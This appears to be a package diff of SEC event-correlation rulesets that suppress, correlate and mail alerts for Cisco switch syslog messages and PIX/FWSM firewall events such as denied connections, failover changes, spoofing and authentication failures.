# %SYS-SP-STDBY-5-RESTART - system restarted part of the boot - interesting?
# 
type=suppress
ptype=substr
pattern=SYS-SP-STDBY-5-RESTART
desc=system restarted

# %DIAG-SP-6-TEST_RUNNING - Running system test
# 
type=suppress
ptype=substr
pattern=%DIAG-SP-6-TEST_RUNNING
desc=running diagnostics on a module

# %FABRIC-SP-5-FABRIC_MODULE_BACKUP - module changed to backup state
# 
type=suppress
ptype=substr
pattern=%FABRIC-SP-5-FABRIC_MODULE_BACKUP
desc=module became backup

# %DIAG-SP-6-RUN_MINIMUM - diagnostics are run
# 
type=suppress
ptype=substr
pattern=%DIAG-SP-6-RUN_MINIMUM
desc=diagnostics running on switch

# %DIAG-SP-6-DIAG_OK - diagnostics results are OK
# 
type=suppress
ptype=substr
pattern=%DIAG-SP-6-DIAG_OK
desc=diagnostics results are OK

# %PFREDUN-SP-STDBY-6-STANDBY - SSO events
# 
type=suppress
ptype=substr
pattern=%PFREDUN-SP-STDBY-6-STANDBY
desc=SSO event (startup)

# %PFREDUN-SP-STDBY-6-STANDBY - SSO events
# 
type=suppress
ptype=substr
pattern=%PFREDUN-SP-6-ACTIVE
desc=SSO event (startup)

# %FABRIC-SP-5-FABRIC_MODULE_BACKUP: - secondary sup is up and is secondary
# 
type=suppress
ptype=substr
pattern=%FABRIC-SP-5-FABRIC_MODULE_BACKUP:
desc=secondary sup is up and is secondary

# %PFINIT-SP-5-CONFIG_SYNC - startup config on standby router sync
# 
type=suppress
ptype=substr
pattern=%PFINIT-SP-5-CONFIG_SYNC
desc=startup config on standby router sync

# %C4K_REDUNDANCY - Cayt 4K configuration/vlan database succesful sync
# the success match is to allow fails in sync to not be suppress
# 
type=suppress
ptype=regexp
pattern=%C4K_REDUNDANCY.*?success
desc=config sync with standby supervisor

# %SCP-SP-5-ASYNC_WATERMARK: SCP long queue wait
# the success match is to allow fails in sync to not be suppress
# 
type=suppress
ptype=substr
pattern=%SCP-SP-5-ASYNC_WATERMARK:
desc=SCP control protocol pending queue is longer than notification threshold

# %MLS_RATE-4-DISABLING: - Layer2 Rate Limiters have been disabled. Is this interesting?
#
type=suppress
ptype=substr
pattern=%MLS_RATE-4-DISABLING:
desc=Layer2 Rate Limiters have been disabled

# ----- process native VLAN mismatch events -----

# %CDP-4-NATIVE_VLAN_MISMATCH: - native VLAN mismatch between switches, will repeat every minute until fixed
#
type=singleWithSuppress
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%CDP-4-NATIVE_VLAN_MISMATCH: Native VLAN mismatch discovered on (\S+) \((\d+)\), with (\S+) (\S+) \((\d+)\)
desc=(MINOR) A native VLAN mistmatch reported between $1 interface $2 (native VLAN $3) and host $4 interface $5 (native VLAN $6)
action=pipe '%s' mail -s 'cisco event' root at example.com
window=60

# ----- process snmp trapblock messages -----

# %SNMP-3-TRAPBLOCK - A process tried to create a trap it is not entitled to create
# See Cisco http://www.cisco.com/cgi-bin/Support/Errordecoder/index.cgi?action=search&counter=0&paging=5&query=SNMP-3-TRAPBLOCK
# 
type=suppress
ptype=substr
pattern=%SNMP-3-TRAPBLOCK
desc=a process tried to create a trap it is not entitled to create

# ----- process chassis alarm events -----

# %SNMP-5-CHASSISALARM - this rule handles the tmpAlarm
#
type=pairWithWindow
continue=takeNext
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: tmpAlarm\(ON\)
desc=(MINOR) $1 temprature alarm signaled and not cleared in five minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
continue2=takeNext
ptype2=regexp
pattern2=\d+:\d+:\d+.*?($1)\s+\d+:.*%SNMP-5-CHASSISALARM: Chassis Alarm Trap: tmpAlarm\(OFF\)
desc2=(WARNING) $1 temprature alarm went on and was cleared in under five minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=300

# %SNMP-5-CHASSISALARM - this rule handles the minorAlarm
#
type=pairWithWindow
continue=takeNext
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? minorAlarm\(ON\)
desc=(MINOR) $1 minor alarm reported and not cleared in three minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
continue2=takeNext
desc2=(WARNING) $1 minor alarm went on and was cleared in under three minutes
ptype2=regexp
pattern2=\d+:\d+:\d+.*?($1)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? minorAlarm\(OFF\)
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=180	

# %SNMP-5-CHASSISALARM - this rule handles the majorAlarm
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? majorAlarm\(ON\)
desc=(MINOR) $1 major alarm signaled and not cleared in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=\d+:\d+:\d+.*?($1)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? majorAlarm\(OFF\)
desc2=(WARNING) $1 major alarm went on and was cleared in under two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process power supply related events -----

# %C4K_IOSMODPORTMAN events - this one is about power supplies only 
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C4K_IOSMODPORTMAN-4-POWERSUPPLYBAD: Power Supply (\d+) has failed or been turned off
desc=(MINOR) $1 power supply $2 reported bad and event not cleared in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %C4K_IOSMODPORTMAN-6-POWERSUPPLYGOOD: Power Supply ($2) is Okay
desc2=(WARNING) $1 power supply $2 alarm went on and was cleared in under two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process neighbor down and neighbor up events -----

# %DVMRP-5-NBRDOWN
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%DVMRP-5-NBRDOWN: Neighbor (\S+) went down on (\S+)
desc=(MINOR) $1 lost DVMRP neighbor $2 on interface $3 and it did not come up in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %DVMRP-5-NBRUP: Neighbor ($2) is up on ($3)
desc2=(WARNING) $1 lost DVMRP neighbor $2 on interface $3 but id come up within two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process fan power supply failure/ok events -----

# %C6KENV-SP-4-PSFANF events - this one is about fan failures
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C6KENV-SP-4-PSFANFAILED: the fan in power supply (\d+) has failed
desc=(MINOR) $1 fan in power supply $2 was reported bad and event not cleared in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %C6KENV-SP-4-PSFANOK: the fan in power supply (\d+) is OK
desc2=(WARNING) $1 fan in power supply $2 alarm went on and was cleared in under two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process events that have not been matched by any of above rules -----

# Default match
# this rule will match anything not previously matched but allows only 
# one notification per day for each new event class seen
#
type=singleWithSuppress
ptype=regexp
pattern=(%.*?:)
desc=$1
action=pipe '$0' mail -s 'cisco event' root at example.com
window=86400


--- NEW FILE import.log ---
sec-2_5_2-1_fc11:EL-5:sec-2.5.2-1.fc11.src.rpm:1255020223


--- NEW FILE pix-general.sec ---
####################################################################
#                SEC ruleset for Cisco PIX 6.x, 7.x, FWSM 2.x
#
# Copyright (C) 2003-2009 Colin Hudler
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
####################################################################

# Process various events from PIX syslog output
# 
# TODO -- A few FWSM log lines will not match.

# Setup our variables -- not the right way to do this?  Needs tweaking for your log lines
type=Single
ptype=RegExp
pattern=^(.* [0-9].:[0-9].:[0-9].) (.*)\.yourdomain\.edu.*?%(PIX|FWSM)-[0-9]-.*?:(.*)
desc=PIXLOG $2^ $1 $4
action=event %s

# 106001
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Inbound TCP connection denied from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+).*
desc=PIX $1 TCP connection denid HAMMER $2 to $3
action=create ham1_$1; add ham1_$1 %t; add ham1_$1 %s;add ham1_$1 %s; add ham1_$1 $0; report ham1_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham1_$1
window=10
thresh=6

# 106006
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Connection denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+)
desc=PIX $1 denied by list HAMMER $2 to $3
action=create ham2_$1; add ham2_$1 %t; add ham2_$1 %s; add ham2_$1 $0; report ham2_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham2_$1
window=10
thresh=6

# 106007
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound UDP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) due to DNS.*
desc=PIX $1 Denied inbound UDP HAMMER $2 to $3
action=create ham3_$1; add ham3_$1 %t; add ham3_$1 %s; add ham3_$1 $0; report ham3_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham3_$1
window=10
thresh=6

# 106010
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+).*
desc=PIX $1 Denied inbound HAMMER $2 to $3
action=create ham4_$1; add ham4_$1 %t; add ham4_$1 %s; add ham4_$1 $0; report ham4_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham4_$1
window=10
thresh=6

# 106012
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+), IP options.*
desc=PIX $1 Denied IP Options HAMMER $2 to $3
action=create ham5_$1; add ham5_$1 %t; add ham5_$1 %s; add ham5_$1 $0; report ham5_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham5_$1
window=10
thresh=6

# 106013
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Dropping echo request from (\d+.\d+.\d+.\d+) to PAT address 
desc=PIX $1 Echo HAMMER $2 to PAT Address
action=create ham6_$1; add ham6_$1 %t; add ham6_$1 %s; add ham6_$1 $0; report ham7_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham8_$1
window=10
thresh=6

# 106014
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound icmp src.*: (\d+.\d+.\d+.\d+) dst.*: (\d+.\d+.\d+.\d+)
desc=PIX $1 Deny inbound ICMP HAMMER $2 to $3
action=create ham9_$1; add ham9_$1 %t; add ham9_$1 %s; add ham9_$1 $0; report ham9_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham9_$1
window=10
thresh=6

# 106015
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*\(no connection\) from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Deny (no connection) HAMMER $2 to $3
action=create ham10_$1; add ham10_$1 %t; add ham10_$1 %s; add ham10_$1 $0; report ham10_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham10_$1
window=10
thresh=30

# 106016,106017,106020,106021,106022 is further down this list...

# 106018
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*ICMP packet type.*denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+)
desc=PIX $1 Deny ICMP type HAMMER $2 to $3
action=create ham11_$1; add ham11_$1 %t; add ham11_$1 %s; add ham11_$1 $0; report ham11_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham11_$1
window=10
thresh=6

# 106023
#Deny udp src outside:128.135.93.11/137 dst inside:128.135.211.65/137 by access-group "inward"
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+) by .*
desc=PIX $1 Deny by ACL HAMMER $2 to $3
action=create ham12_$1; add ham12_$1 %t; add ham12_$1 %s; add ham12_$1 $0; report ham12_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham12_$1
window=10
thresh=32

# This is broken... still fix? TODO
# 106001 -- Report
#type=SingleWithThreshold
#continue=takenext
#ptype=RegExp
#pattern=^PIXLOG (\S+)\^ .*(Inbound TCP connection denied from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+).*)|\
#(Connection denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+))|\
#(Deny inbound UDP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) due to DNS)|\
#(Deny inbound.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+))|\
#(Deny IP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+), IP options)|\
#(Dropping echo request from (\d+.\d+.\d+.\d+) to PAT address)|\
#(Deny inbound icmp src.*: (\d+.\d+.\d+.\d+) dst.*: (\d+.\d+.\d+.\d+))|\
#(Deny.*\(no connection\) from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+))|\
#(ICMP packet type.*denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+))|\
#(Deny.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+) by )
#desc=PIX Conn Denied 10 times from $2
#action=create rpt_$1; add rpt_$1 %t; add rpt_$1 %s;add rpt_$1 %s; add rpt_$1 $0; report rpt_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rpt_$1
#window=10
#thresh=30

# 101002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Bad failover cable.
desc=PIX $1 Bad Failover Cable
action=create bfc_$1; add bfc_$1 %t; add bfc_$1 %s; add bfc_$1 $0; report bfc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete bfc_$1

# 101003/4
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failover cable not connected
desc=PIX $1 Failover cable gone
action=create nfc_$1; add nfc_$1 %t; add nfc_$1 %s; add nfc_$1 $0; report nfc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete nfc_$1

# 101005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Error reading failover cable status
desc=PIX $1 Failover cable ERROR
action=create fce_$1; add fce_$1 %t; add fce_$1 %s; add fce_$1 $0; report fce_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fce_$1

# 102001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Power failure/System reload
desc=PIX $1 Peer Lost Power
action=create fpp_$1; add fpp_$1 %t; add fpp_$1 %s; add fpp_$1 $0; report fpp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fpp_$1

# 103001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*No response from other firewall
desc=PIX $1 Peer Gone Away
action=create fnp_$1; add fnp_$1 %t; add fnp_$1 %s; add fnp_$1 $0; report fnp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fnp_$1

# 103003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Other firewall network interface (\S+) failed
desc=PIX $1 Peer interface $2 died
action=create fpi_$1; add fpi_$1 %t; add fpi_$1 %s; add fpi_$1 $0; report fpi_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fpi_$1

# 103004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Other firewall reports this firewall failed
desc=PIX $1 Peer says I failed
action=create fif_$1; add fif_$1 %t; add fif_$1 %s; add fif_$1 $0; report fif_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fif_$1

# 103005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Other firewall reporting failure
desc=PIX $1 Peer reports failure
action=create fpf_$1; add fpf_$1 %t; add fpf_$1 %s; add fpf_$1 $0; report fpf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fpf_$1

# 104001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(Primary|Secondary) Switching to ACTIVE \(cause: (.*)\)
desc=PIX $1 FAILOVER! Becoming ACTIVE because $2
action=create fba_$1; add fba_$1 %t; add fba_$1 %s; add fba_$1 $0; report fba_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fba_$1

# 104002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(Primary|Secondary) Switching to STNDBY \(cause: (.*)\)
desc=PIX $1 FAILOVER! Becoming STNDBY because $2
action=create fbs_$1; add fbs_$1 %t; add fbs_$1 %s; add fsb_$1 $0; report fbs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fbs_$1

# 104003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Switching to FAILED
desc=PIX $1 IN FAILED STATE!
action=create ffs_$1; add ffs_$1 %t; add ffs_$1 %s; add ffs_$1 $0; report ffs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ffs_$1

# 104004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Switching to OK.
desc=PIX $1 Failed Unit is ok
action=create ffs_$1; add ffs_$1 %t; add ffs_$1 %s; add ffs_$1 $0; report ffs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ffs_$1

# 105005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Lost Failover communications with mate on interface
desc=PIX $1 Peer Gone Away
action=create fnp_$1; add fnp_$1 %t; add fnp_$1 %s; add fnp_$1 $0; report fnp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fnp_$1

# 105007
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Link status \'Down\' on interface (\S+).*
desc=PIX $1 interface $2 is DOWN
action=create ind_$1; add ind_$1 %t; add ind_$1 %s; add ind_$1 $0; report ind_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ind_$1

# 105011
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failover cable communication failure
desc=PIX $1 Failver cable failed
action=create fcf_$1; add fcf_$1 %t; add fcf_$1 %s; add fcf_$1 $0; report fcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fcf_$1

# 105021
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Standby unit failed to sync due to a locked (\S+) config. Lock held by (\S+)
desc=PIX $1 Failover Sync failed because $2 is locked by $3
action=create lck_$1; add fcf_$1 %t; add fcf_$1 %s; add lck_$1 $0; report lck_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lck_$1

# 10532
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LAN Failover interface is down
desc=PIX $1 Failover interface is down
action=create fin_$1; add fin_$1 %t; add fin_$1 %s; add fin_$1 $0; report fin_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fin_$1

# 10535
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Receive a LAN failover interface down msg from peer.
desc=PIX $1 Failover Peer reports LAN interface down
action=create fin_$1; add fin_$1 %t; add fin_$1 %s; add fin_$1 $0; report fin_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fin_$1

# 10536
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*dropped a LAN Failover command message.
desc=PIX $1 Failover Dropped a LAN packet
action=create fdr_$1; add fdr_$1 %t; add fdr_$1 %s; add fdr_$1 $0; report fdr_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fdr_$1

# 10537
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*The primary and standby units are switching back 
desc=PIX $1 Failover: primary and standby units are switching back
action=create fsw_$1; add fsw_$1 %t; add fsw_$1 %s; add fsw_$1 $0; report fsw_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fsw_$1

# 10543
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failover interface failed
desc=PIX $1 Failover LAN Interface is down!
action=create fin_$1; add fin_$1 %t; add fin_$1 %s; add fin_$1 $0; report fin_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fin_$1

# messages from 106001 moved to top

# 106011
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound (No xlate).*
desc=PIX $1 Same-Side Traffic Attack
action=create sst_$1; add sst_$1 %t; add sst_$1 %s; add sst_$1 $0; report sst_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sst_$1

# 106016
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP spoof from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) on interface 
desc=PIX $1 IP Spoof from $2 to $3
action=create spf_$1; add spf_$1 %t; add spf_$1 %s; add spf_$1 $0; report spf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete spf_$1

# 106017
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP due to Land Attack from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+)
desc=PIX $1 IP LAND Attack
action=create lnd_$1; add lnd_$1 %t; add lnd_$1 %s; add lnd_$1 $0; report lnd_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lnd_$1

# 106020
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP teardrop fragment.*from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+)
desc=PIX $1 Teardrop Attack
action=create tdr_$1; add tdr_$1 %t; add tdr_$1 %s; add tdr_$1 $0; report tdr_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete tdr_$1

# 106021
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*reverse path check from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+).*
desc=PIX $1 Reverse Path Check Attack from $2 to $3
action=create rpc_$1; add rpc_$1 %t; add rpc_$1 %s; add rpc_$1 $0; report rpc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rpc_$1

# 106022
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*connection spoof from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+).*
desc=PIX $1 Connection Spoof Attack from $2 to $3
action=create spf_$1; add spf_$1 %t; add spf_$1 %s; add spf_$1 $0; report spf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete spf_$1

# 106024
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Access rules memory exhausted
desc=PIX $1 Out of ACL Memory!
action=create ame_$1; add ame_$1 %t; add ame_$1 %s; add ame_$1 $0; report ame_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ame_$1

# 106025/6
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failed to determine the security context for the packet:(\S+):(\d+.\d+.\d+.\d+) (\d+.\d+.\d+.\d+) (\d+) (\d+).*
desc=PIX $1 failed getting context for vlan $2 $3:$4 to $5:$6
action=create ctx_$1; add ctx_$1 %t; add ctx_$1 %s; add ctx_$1 $0; report ctx_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ctx_$1

# 107001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*RIP auth failed from (\d+.\d+.\d+.\d+).*
desc=PIX $1 RIP Auth Attack from $2
action=create rip_$1; add rip_$1 %t; add rip_$1 %s; add rip_$1 $0; report rip_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rip_$1

# 107002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*RIP pkt failed from (\d+.\d+.\d+.\d+).*
desc=PIX $1 Invalid RIP Packet from $2
action=create rpk_$1; add rpk_$1 %t; add rpk_$1 %s; add rpk_$1 $0; report rpk_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rpk_$1

# 109003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Auth from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+\/\d+) failed \(all servers failed\).*
desc=PIX $1 All AAA Failed from $2 to $3
action=create aaa_$1; add aaa_$1 %t; add aaa_$1 %s; add aaa_$1 $0; report aaa_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete aaa_$1

# 109006/8
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(Authentication|Authorization) (failed|denied) for user \'(\S+)\' from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Auth Guessing Attack by $2 from $3 to $4
action=create brt_$1; add brt_$1 %t; add brt_$1 %s; add brt_$1 $0; report brt_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete brt_$1
window=10
thresh=6

# 109010
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Auth from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+) failed \(too many pending auths\).*
desc=PIX $1 Max Auths Reached for $2 to $3
action=create mth_$1; add mth_$1 %t; add mth_$1 %s; add mth_$1 $0; report mth_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete mth_$1

# 109017
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User at (\d+.\d+.\d+.\d+) exceeded auth proxy connection 
desc=PIX $1 $2 has opened to many proxy conns
action=create pcn_$1; add pcn_$1 %t; add pcn_$1 %s; add pcn_$1 $0; report pcn_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete pcn_$1

# 109024
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Authorization denied.*for user \'(\S+)\' from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Authorization Denied HAMMER $2 from $3 to $4
action=create uhm_$1; add uhm_$1 %t; add uhm_$1 %s; add uhm_$1 $0; report uhm_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete uhm_$1
window=10
thresh=6

# 109025
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Authorization denied \(acl=.*\) for user \'(\S+)\' from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+) on interface.*
desc=PIX $1 Authorization Denied  HAMMER $2 from $3 to $4
action=create uhm_$1; add uhm_$1 %t; add uhm_$1 %s; add uhm_$1 $0; report uhm_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete uhm_$1
window=10
thresh=6

# 111001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Begin configuration: (\d+.\d+.\d+.\d+) writing to (\S+)
desc=PIX $1 Config saved to $3 by $2
action=create sav_$1; add sav_$1 %t; add sav_$1 %s; add sav_$1 $0; report sav_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sav_$1

# 111002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Begin configuration: (\d+.\d+.\d+.\d+) reading from (\S+)
desc=PIX $1 Config read from $3 by $2
action=create sav_$1; add sav_$1 %t; add sav_$1 %s; add sav_$1 $0; report sav_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sav_$1

# 111003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(\d+.\d+.\d+.\d+) Erase configuration
desc=PIX $1 WRITE ERASE WAS ISSUED $2
action=create ers_$1; add ers_$1 %t; add ers_$1 %s; add ers_$1 $0; report ers_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ers_$1

# 111004
type=Single
continue=takenext
ptype=RegExp
